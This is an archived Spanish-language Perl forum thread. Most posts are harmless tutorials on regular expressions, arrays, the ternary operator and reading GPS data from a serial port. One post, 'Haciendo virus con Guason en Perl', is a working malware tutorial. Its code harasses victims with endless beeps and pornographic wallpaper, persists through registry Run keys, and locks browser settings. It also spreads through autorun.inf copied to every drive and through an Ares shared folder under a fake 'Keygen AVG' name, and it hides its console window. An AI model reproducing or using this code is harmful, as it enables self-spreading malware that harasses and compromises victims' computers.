- Documentación Perl

Uso de array para retornar varios valores en funciones

yoyahack — Fri, 27 Aug 2010 17:54:27 -0400

Bueno aveces eh tenido este problema, lo que hacia era que los valores lo pasaba a una variable...

Ejemplo:

Language: Perl
#!/usr/bin/perl 
print ejemplo(), "\n";
 
sub ejemplo(){
for($i=1;$i<=10;$i++){
$todo .=$i;
}
return $todo;
}

Salida:

$ perl script.pl
12345678910

Pero tambien puedo hacer uso de los arrays.

Language: Perl
#!/usr/bin/perl 
print ejemplo(), "\n";
 
sub ejemplo(){
@array = qw(1 2 3 4 5 6 7 8 9 10);
return @array[0..9];
}

Salida:

$ perl script2.pl
12345678910

Saludos.

Re: Operador ternario

OzX — Mon, 02 Aug 2010 20:44:00 -0400

es para optimizar de puta padre ¡
en resumen es if abreviado.

No tenia idea que se llamaba "operador ternario"

Operador ternario

yoyahack — Sun, 01 Aug 2010 11:00:59 -0400

El operador ternario evalúa una condición y retorna el valor verdadero o falso dependiendo de la condición que se evalué y dicho valor se le asigna a la variable.

sintaxis:

Condición ? Valor verdadero : Valor falso

Ejemplo:

Language: Perl
#!/usr/bin/perl
 
my $var = (1 > 2) ? "Si" : "No";
print $var, "\n";
 
exit;

Salida:

yoya@yoya-desktop ~/Escritorio $ perl script.pl
No

Re: Uso del Cuantificador * en Expresiones Regulares

OzX — Tue, 27 Jul 2010 18:37:38 -0400

Otro parametro bastante interesante es el ?
Para poder indentificar .* (todo) pero solo 1 vez. (.*?)
Por ej

> lalala lelelele lililili
> Regexp : (.*?)(.*?)(.*?)

Al final obtendria lalala, lelele y lililii.

Saludos¡

Uso del Cuantificador * en Expresiones Regulares

yoyahack — Tue, 27 Jul 2010 00:10:31 -0400

Buenas, aveces necesitamos capturar o verificar algo que puede estar o no puede estar, para esto se pude usar el cuantificador *, que indica que algo puede no existir o existir una o varias veces.

Ejemplo:

Language: Perl
#!/usr/bin/perl    
 
$txt = 'alsklkl.coaa aojoj.as.aaa dsds?.osd fg';
while($txt =~ m/(\w+\.\w+)/g){
print $1, "\n";
}

Salida:

$ perl a.pl
alsklkl.coaa
aojoj.as

Pero se puede capturar fácilmente lo que esta después del segundo punto...

Language: Perl
#!/usr/bin/perl    
 
$txt = 'alsklkl.coaa aojoj.as.aaa dsds?.osd fg';
while($txt =~ m/(\w+\.\w+\.\w+)/g){
print $1, "\n";
}

Salida:

$ perl a.pl
aojoj.as.aaa

Pero quiero hacer un tipo de regla para capturar los datos que contengan un punto y si existe alguno que también contengan varios puntos, aqui entra el cuantificador *....

Language: Perl
#!/usr/bin/perl    
 
$txt = 'alsklkl.coaa aojoj.as.aaa dsds?.osd';
while($txt =~ m/(\w+\.\w+\.*\w+)/g){
print $1, "\n";
}

Salida:

$ perl a.pl
alsklkl.coaa
aojoj.as.aaa

Saludos.

[Script] ¿Como Leer GPS Desde Puerto Serial en Ubuntu con Perl?

OzX — Sun, 27 Jun 2010 03:25:50 -0400

Language: Perl
#!/usr/bin/perl -w
#use strict; #Esta linea es para hacer obligatorio la declaracion de variablesuse
use Device::SerialPort; # Declaramos el Modulo para manejo de puertos
my $serial = Device::SerialPort->new("/dev/ttyUSB0") || die "No se pudo abrir el puerto"; # configuracion del Puerto serial USB
$serial->baudrate(4800); # Velocidad del Puerto o Razon de Bits(9600)
$serial->read_char_time(0);     # don't wait for each character
$serial->read_const_time(1000); # 1 second per unfulfilled "read" call
$serial->write_settings; #
# Envio de Datos por el Puerto Serial
 
 
my $data;
while(1){
	my ($count,$saw)=$serial->read(1);
 
		if($saw ne '$'){ # $
		   $data .=$saw;
		}else{
	   #http://aprs.gids.nl/nmea/#rmc
 
	   #eg2. $GPRMC,225446,A,4916.45,N,12311.12,W,000.5,054.7,191194,020.3,E*68
           #225446       Time of fix 22:54:46 UTC
           #A            Navigation receiver warning A = OK, V = warning
           #4916.45,N    Latitude 49 deg. 16.45 min North
           #12311.12,W   Longitude 123 deg. 11.12 min West
           #000.5        Speed over ground, Knots
           #054.7        Course Made Good, True
           #191194       Date of fix  19 November 1994
           #020.3,E      Magnetic variation 20.3 deg East
           #*68          mandatory checksum
 
		my ($id,$hora,$estado,$lat,$c_lat,$lng,$c_lng,$velocidad,$curso,$fecha,$variacion_mag,$chsum) =  split(",",$data);
 
		if($id eq 'GPRMC'){
			#print "ID " .$id."\t".$estado."\t".$hora."\t".$lat."\t".$c_lat."\t".$lng."\t".$c_lng."\n";	 
 
 
		#print $c_lat.",".$c_lng."\n";#S,W
 
		my $lat_map = substr($lat,2,length($lat)) / 60 + substr($lat,0,2);
		my $lng_map = substr($lng,3,length($lng)) / 60 + substr($lng,0,3) ;
		if($c_lat eq 'S'){
			$lat_map = $lat_map * -1;
		}
		if($c_lng eq 'W'){
			$lng_map  = $lng_map * -1;
		}
		#print  $lat_map.",".$lng_map."\n";
		print  "http://maps.google.cl/maps?q=".$lat_map.",".$lng_map."\n"; 	
}
		$data = '';
 
		}
}

Vualaa¡¡¡
Gracias P0fk ¡¡¡ Por Ayudarme con el Max232¡¡¡
Funka de pushamadre¡¡

Re: Repitiendo petición GET/POST el numero indicado de veces....

yoyahack — Wed, 02 Jun 2010 19:17:08 -0400

Si, tienes la razón OzX, nunca me eh dado cuenta sobre eso.

Saludos.

Re: Repitiendo petición GET/POST el numero indicado de veces....

OzX — Wed, 02 Jun 2010 19:10:06 -0400

cada ve que ejecutas

my $ua = new LWP::UserAgent;

estas generando una nueva instanciacion por cada vuelta, de algo que es igual para todas las peticiones. por lo tanto estas gastando memoria de mas.

#!/usr/bin/perl -w
 
#Modulos
use LWP::UserAgent;
use HTTP::Request;
 
#Code
my $ua = new LWP::UserAgent;
$ua->agent(" Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3");
$ua->timeout(7) || die "Conecction faield";

	for($i=1;$i <= 2;$i++){
		print "Petcion numero $i\n";
		get('http://www.google.com',$ua);#Hacemos una peticion GET a google.com
	}
 
#Funcion GET
sub get {
    my $pagina = $_[0];
    my $ua = $_[1];
    my $busqueda = new HTTP::Request GET => $pagina;
    my $resultado = $ua->request($busqueda);
    my $result = $resultado->content();
}
 
exit;

time perl version_nueva.pl
Petcion numero 1
Petcion numero 2

real	0m1.549s
user	0m0.188s
sys	0m0.024s
oz@Ozx:~/Escritorio$ time perl version_vieja.pl
Petcion numero 1
Petcion numero 2

real	0m1.715s
user	0m0.192s
sys	0m0.008s

Repitiendo petición GET/POST el numero indicado de veces....

yoyahack — Wed, 02 Jun 2010 17:40:42 -0400

Buenas, una vez tuve este problema, aunque esto también se puede usar para DoS, lo que quería hacer era realizar un numero determinado de veces de peticiones GET/POST y pensé re alisarlo con un simple for()...

Language: Perl
#!/usr/bin/perl -w
 
#Modulos
use LWP::UserAgent;
use HTTP::Request;
 
#Code
 
for($i=1;$i <= 2;$i++){
print "Petcion numero $i\n";
get('http://www.google.com');#Hacemos una peticion GET a google.com
}
 
#Funcion GET
sub get {
    my $pagina = $_[0];
 
    my $ua = new LWP::UserAgent;
    $ua->agent(" Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3)      
    Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3");
 
    my $busqueda = new HTTP::Request GET => $pagina;
    my $resultado = $ua->request($busqueda);
    $ua->timeout(7) || die "Conecction faield";
    my $result = $resultado->content();
}
 
exit;

Salida:

yoya@Yoya-desktop:~/Escritorio$ perl script.pl
Petcion numero 1
Petcion numero 2
yoya@Yoya-desktop:~/Escritorio$

Re: Capturando desde-hasta con expresiones regulares

OzX — Fri, 26 Mar 2010 16:22:31 -0400

me gustaria resaltar la facilidad con que perl expone las REGEXP, por ej $1 es el primer valor obtenido, si existieran otros seguirian correlativamente $2,$3, etc ¡
Saludos Yoya ¡

Capturando desde-hasta con expresiones regulares

yoyahack — Fri, 26 Mar 2010 11:43:37 -0400

Bueno, en perl existe el cuantificador {m,n} para las expresiones regulares, que significa mínimo y máximo. Lo podemos usar para capturar, verificar, y eliminar... En este caso lo empleo para capturar x texto.

Ej:

#!/usr/bin/perl

$txt = 'hola';
if($txt =~ m/(\w{3})/){
print $1, "\n";
}

Salida:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
hol

Re: Obtener la extensión de archivos con expresiones regulares

seth — Fri, 12 Mar 2010 13:33:29 -0500

lo de los : son metadatos de ntfs, podes poner un archivo dentro de otro

http://hack2sec.wordpress.com/2009/04/07/ocultacion-de-datos-en-ntfs-ads/

Re: Obtener la extensión de archivos con expresiones regulares

yoyahack — Thu, 11 Mar 2010 18:43:08 -0500

Language: Perl
#/usr/bin/perl
 
@ext = qw(hola.php ar.hl.html.sss pl.pl .ert qwe,asd.txt);
foreach $ext(@ext){
if($ext =~ m/(\w+)$/){
print "$ext Extencion: $1\n";
 }
}

Salida:

hola.php Extencion: php
ar.hl.html.sss Extencion: sss
pl.pl Extencion: pl
.ert Extencion: ert
qwe,asd.txt Extencion: txt

Recuerda que capturo desde el fin de cadena hacia al principio.

Quote
o si es "archivo.doc:metadatos"?

No me e topado con una extencion asi xD.
http://es.wikipedia.org/wiki/Extensi%C3%B3n_de_archivo

Aunque bueno, en ese caso se solucionaria facir xD.

Language: Perl
#/usr/bin/perl
 
@ext = qw(archivo.doc:metadatos);
foreach $ext(@ext){
if($ext =~ m/\.(.+)$/){
print "$ext Extencion: $1\n";
 }
}

Salida:

archivo.doc:metadatos Extencion: doc:metadatos

Tambien se podria reemplazar los caracteres No alfanumericos para pasar el texto por las expreciones regulares mas limpio y luego agregarselo xD.
Saludos....

Re: Obtener la extensión de archivos con expresiones regulares

seth — Thu, 11 Mar 2010 18:27:40 -0500

que pasa si el archivo se llama "qwe,asd.txt"?
o si es "archivo.doc:metadatos"?

Obtener la extensión de archivos con expresiones regulares

yoyahack — Wed, 10 Mar 2010 15:42:45 -0500

Bueno, ps aquí una forma facir con expresiones regulares para obtener la extensión de un archivo xD.

Language: Perl
#/usr/bin/perl
 
@ext = qw(hola.php ar.hl.html.sss pl.pl .ert);
foreach $ext(@ext){
if($ext =~ m/(\w+)$/){
print "$ext Extencion: $1\n";
 }
}

Salida:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
hola.php Extencion: php
ar.hl.html.sss Extencion: sss
pl.pl Extencion: pl
.ert Extencion: ert

Bueno ahora explico la expresión regular:

Language: Perl
if($ext =~ m/(\w+)$/){

Bueno, uso la meta-secuencia \w para capturar todos los valores Alfa-numéricos y uso el carácter $ que le indica a perl el fin de la cadena, osea capturo todo los valores alfa números del fin de la cadena y como el punto no es alfa numérico hay para la captura...

Saludos.

Aplicando expresiones regulares a arrays

yoyahack — Sat, 27 Feb 2010 18:37:38 -0500

Bueno, podemos aplicar expresiones regulares a un array con la función grep, ejemplo tenemos el siguiente array:

Language: Perl
#!/user/bin/perl
 
@array = qw(A B C 5 D E F 9 H 6 9 8 7 H 6);
print "@array[0..15]\n";

Y al ejecutarlo el resultado sera:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
A B C 5 D E F 9 H 6 9 8 7 H 6

Pero que pasa si queremos imprimir solos los numeros que contienen el array, podemos aplicarle expresiones regulares con la ayuda del comando grep.

Language: Perl
#!/user/bin/perl
 
@array = qw(A B C 5 D E F 9 H 6 9 8 7 H 6);
print "Array @array[0..15]\n";
 
@digit = grep(/\d+/g, @array);
print "Nuevo array con numeros @digit[0..scalar(@digit)]\n";

Salida:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
Array A B C 5 D E F 9 H 6 9 8 7 H 6 
Nuevo array con numeros 5 9 6 9 8 7 6

Y que pasa que si queremos sacar solo los datos tipo string.

Language: Perl
#!/user/bin/perl
 
@array = qw(A B C 5 D E F 9 H 6 9 8 7 H 6);
print "Array @array[0..15]\n";
 
@digit = grep(/\d+/g, @array);
print "Nuevo array con numeros @digit[0..scalar(@digit)]\n";
 
@string = grep(/[a-z]+/ig, @array);
print "Nuevo array con valores tipo string @string[0..scalar(@string)]\n";

Salida:

yoya@yoya-desktop:~/Escritorio$ perl a.pl
Array A B C 5 D E F 9 H 6 9 8 7 H 6 
Nuevo array con numeros 5 9 6 9 8 7 6 
Nuevo array con valores tipo string A B C D E F H H

Funciones utilizadas.
scalar()
Devuelve el numero de elemento de un array.

Saludos.

Función ord()

yoyahack — Tue, 02 Feb 2010 16:50:48 -0500

Función ord()
Retorna el valor de un carácter a ASCII.

Language: Perl
#!/usr/bin/perl
 
print ord(A), "\n";
 
__END__
salida:
65

Re: Verificar si una variable contiene algún valor con Expresiones regulares

Guason — Fri, 29 Jan 2010 13:53:14 -0500

Gracias yoya , por un momento pense que era una pregunta xD

Re: Verificar si una variable contiene algún valor con Expresiones regulares

ksha — Wed, 27 Jan 2010 22:04:06 -0500

Quote
prodigy
yoyahack de que me puede servir esto al programar? ¿se usa mucho?, ¿puedes poner mas ejemplos de expresiones regulares?

Saludos!!

checkea este link te puede ser de ayuda amigo.
http://foro.undersecurity.net/read.php?19,6305,6305#msg-6305

Re: Verificar si una variable contiene algún valor con Expresiones regulares

yoyahack — Wed, 27 Jan 2010 17:07:12 -0500

Ps con esto puedes verificar si una variable contiene algún valor, es como la función empty de php...

Ps nose que ejemplo mas podría poner sobre expresiones regulares, ya que en este caso solo que comprueba si existe algún carácter..
Si quieres ejemplo de expresiones regulares ps puedes decir que ejemplo quisieras ver...

Saludos.

Re: Verificar si una variable contiene algún valor con Expresiones regulares

prodigy — Wed, 27 Jan 2010 16:50:00 -0500

yoyahack de que me puede servir esto al programar? ¿se usa mucho?, ¿puedes poner mas ejemplos de expresiones regulares?

Saludos!!

Verificar si una variable contiene algún valor con Expresiones regulares

yoyahack — Wed, 27 Jan 2010 15:55:56 -0500

Bueno, con una exprecion regular verificamos si existe "Algo" en una variable.

Language: Perl
#!/usr/bin/perl
 
my $hola;
 
if($hola =~ m/./){
print "Contiene valor.\n";}else{print "No contiene valor.\n";}

Salida:

$ perl script.pl
No contiene valor.

Saludos.

Re: Creando un brute force en perl

Guason — Sun, 24 Jan 2010 12:50:46 -0500

Entonces me baje una version muy vieja pero no importa

Re: Haciendo virus con Guason en Perl

Guason — Sun, 24 Jan 2010 12:47:35 -0500

de nada broder , no te preocupes superaremos nuestro problema con bbcode poco a poco

Re: Creando un brute force en perl

OzX — Sun, 24 Jan 2010 10:42:03 -0500

Uhmm no creo que sea por eso
http://www.easyphp.org/download.php

ocupa PHP5, php4 ya no viene con casi ningun paquete de instalacion todo en uno, a menos que te lo bajes por separado.

Re: Haciendo virus con Guason en Perl

OzX — Sun, 24 Jan 2010 10:40:42 -0500

coool bro. el uso de registros en perl no tenia idea
y ves que se ve mejor con bbcode asi mantenmos el orden en todo.
Saludos¡

Re: Port Scanner by X4cks

Guason — Sun, 24 Jan 2010 08:46:17 -0500

Esta bueno pero los port scanner en perl son lentos yo prefiero hacerlos en python

Haciendo virus con Guason en Perl

Guason — Sun, 24 Jan 2010 08:42:53 -0500

Haciendo virus con Guason en Perl

Hola.

Antes de empezar lo que voy a explicar esta en perl y ya deberian tener conocimientos
basicos o intermedios para esto asi que nada de preguntas basicas.
Perl es el mas indicado para hacer virus y no otros lenguajes basicos como
vbs o visual basic. Perl ofrece montones de modulos en cpan(link) ya sea
para linux o windows , solo que yo me voy a concentrar en Windows porque
la mayoria de las personas ahora usan Windows XP.

Ok , para empezar para hacer un virus no tiene que ser destructivo y jodido como muchos
lo hacen porque eso es aburrido. La idea es que se reproduzca por varios motivos y pensar
que podria joder a alguien.

¿Que cosas podria hacer?

Lo mas basico de todo es el malvado sonido interno de la pc , es algo aterrador escuchar el
tipido hasta el infinito

Language: Perl
while(true){
print "\a\a\a\a";
}

Como ven con esas tres lineas lograran hacer sonar el tipido sin parar , la unica manera
de parar es cerrando el archivo pl , pero que pasaria si el archivo esta oculto y sin ventana.

Ok , tambien hay algo feo para la victima como descargarle imagenes porno a la victima y ponersela
de fondo!
Para descargas imagenes tenemos a Image::Grab es un buen modulo para esto.

Language: Perl
my $img = new Image::Grab;
$img->url(TU FOTO);
$img->grab;
 
if($img->image){
 
#Salvamos la imagen al disco
open(IMAGEN, ">C:\\xxx.bmp") || die"No se pudo
 
crear archivo: $!";
binmode IMAGEN; #para derivados de MSDOS.
print IMAGEN $img->image;
close IMAGEN;

La explicacion del code seria primero crear el objecto del modulo Image::Grab , luego llamar
a la imagen porno subida a una web y cambiarle la url completa por "TU FOTO". Despues
la grabamos y si esta descarga salio bien la guardaremos en el diso c:/ como xxx.bmp.
Pues si no le gusta donde se guarda pues cambienlo a su preferencia.

Para cambiarle el fondo a su victima seria con el modulo Win32::Wallpaper , con este
modulo se lograria en tres lineas

Language: Perl
use Win32::Wallpaper;
my $pro = "C:\\xxx.bmp";
wallpaper( $pro, "tile");

La explicacion no hace falta ya que es muy sencillo el codigo , solo que deberian cambiar
el $pro por donde ustedes tengan la imagen preparada eso si debe esta si o si en formato
bmp de lo contrario no funcionara

¿Como interactuo con el registro?

La mayoria de las maldades de los fracasados que hacen un virus se relacionan con
el registro de Window

Ejemplos de uso

*Hacer que el virus se cargue cada vez que cargue Windows

Language: Perl
use Win32::TieRegistry( Delimiter=>"/");
 
$Registry->{"LMachine/Software/Microsoft/Windows/Intenet/Run//agenda"} = $0;

Este se creara con el nombre de agenda para pasar desimuladamente

*Bloquear cambiar pagina de inicio de IE

Language: Perl
use Win32::TieRegistry( Delimiter=>"/");
 
$Registry->{"LMachine/Software/Policies/Microsoft/Internet Explorer/Control Panel
//Homepage"} = '1';

Y con esto la pagina de inicio seria bloqueda ajajajajajajajajajaj

¿Como repruduzco mi triste virus?

La idea es que reproduza al menos que tu virus sea especialmente para alguien y nadie
mas , de todas formas estas son la opciones que hasta ahora eh probado

*USB
*P2P

La tecnica para que se reproduzca por USB es que se copie a todos los discos de la A a la Z
llevando un archivo llamado autorun.inf que sirve para que se cargue automaticamente.

Language: Perl
my $rata = $0;
 
 
open ( AUTORUN , "autorun.inf");
print AUTORUN "[AutoRun]\n";
print AUTORUN "open = $rata\n";
print AUTORUN "shellexecute=$rata\n";
print AUTORUN "shell\\Auto\\command=$rata\n";
 
 
my $inf = "autorun.inf";
 
 
 @discos = ( 'A:\\' , 'B:\\' , 'C:\\', 'D:\\', 'E:\\', 'F:\\', 'G:\\', 'H:\\', 'I:\\', 'J:\\', 'K:\\', 'L:\\', 'M:\\', 'N:\\', 'O:\\', 'P:\\','Q:\\', 'R:\\', 'S:\\', 'T:\\' , 'W:\\' , 'X:\\', 'Y:\\', 'Z:\\');
 
 
foreach $disk( @discos) {
copy ( $rata ,$disk); #Copiamos a ratita
copy ( $inf ,$disk); #Copiamos autorun.inf
}

La explicacion del codigo es sencilla llamamos $rata a la ruta real de nuestro virus , luego
creamos el archivo autorun.inf con los comandos necesarios para la carga.
Despues llamamos $inf al archivo autorun.inf ya creado , luego de esto guardamos
todos los posible disco en @discos , para luego con un hermoso foreach copiar a $rata
y a $inf a todos los discos posibles.

La forma por P2P

Por motivos de ganas solo lo hare en el Ares

Language: Perl
#Code Sencillo By Guason
#Autocopia virus perl al Ares
 
use Win32;
 
my $admin = Win32::LoginName();
my $raton = "Keygen AVG.pl";

my $to = "C:\\Documents and Settings\\$admin\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\$raton";

Language: Perl
Win32::CopyFile($0, $to, 0);

La explicacion del codigo es muy facil

Primero llamamos al modulo Win32 para poder usar sus funciones

Language: Perl
use Win32;

Luego extraemos el nombre del usuario de la maquina y lo guardamos como $admin

Código:

Language: Perl
my $admin = Win32::LoginName();

Le damos el nombre Keygen AVG para evitar sospechas

Language: Perl
my $raton = "Keygen AVG.pl";

Guardamos en $to la ruta a enviar el virus
Código:

Language: Perl
my $to = "C:\\Documents and Settings\\$admin\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\$raton";

Copiamos el archivo

Language: Perl
Win32::CopyFile($0, $to, 0);

Algunos se preguntaran que soy un idiota por enviar un archivo con formato en perl sabiendo
que los que no tengan el interprete no seran infectados PUES NO!
Facilmente con perl2exe todo se arreglaria

Con el comando

Language: Perl
perl2exe -icon=rata.ico -gui virus.pl

Con este comando le dariamos un icono a nuestro virus claro en la misma ruta en la compilacion
de perl2exe despues con -gui aplicamos la ocultacion de la consola .
Despues de esto modifican el codigo para que esta funcionara

Good Bye

Guasón

Re: Creando un brute force en perl

Guason — Sun, 24 Jan 2010 08:31:19 -0500

Ocupo PHP4 porque uso Easy PHP

Re: Aprende Perl desde 0

Guason — Sun, 24 Jan 2010 08:30:52 -0500

Es una broma xD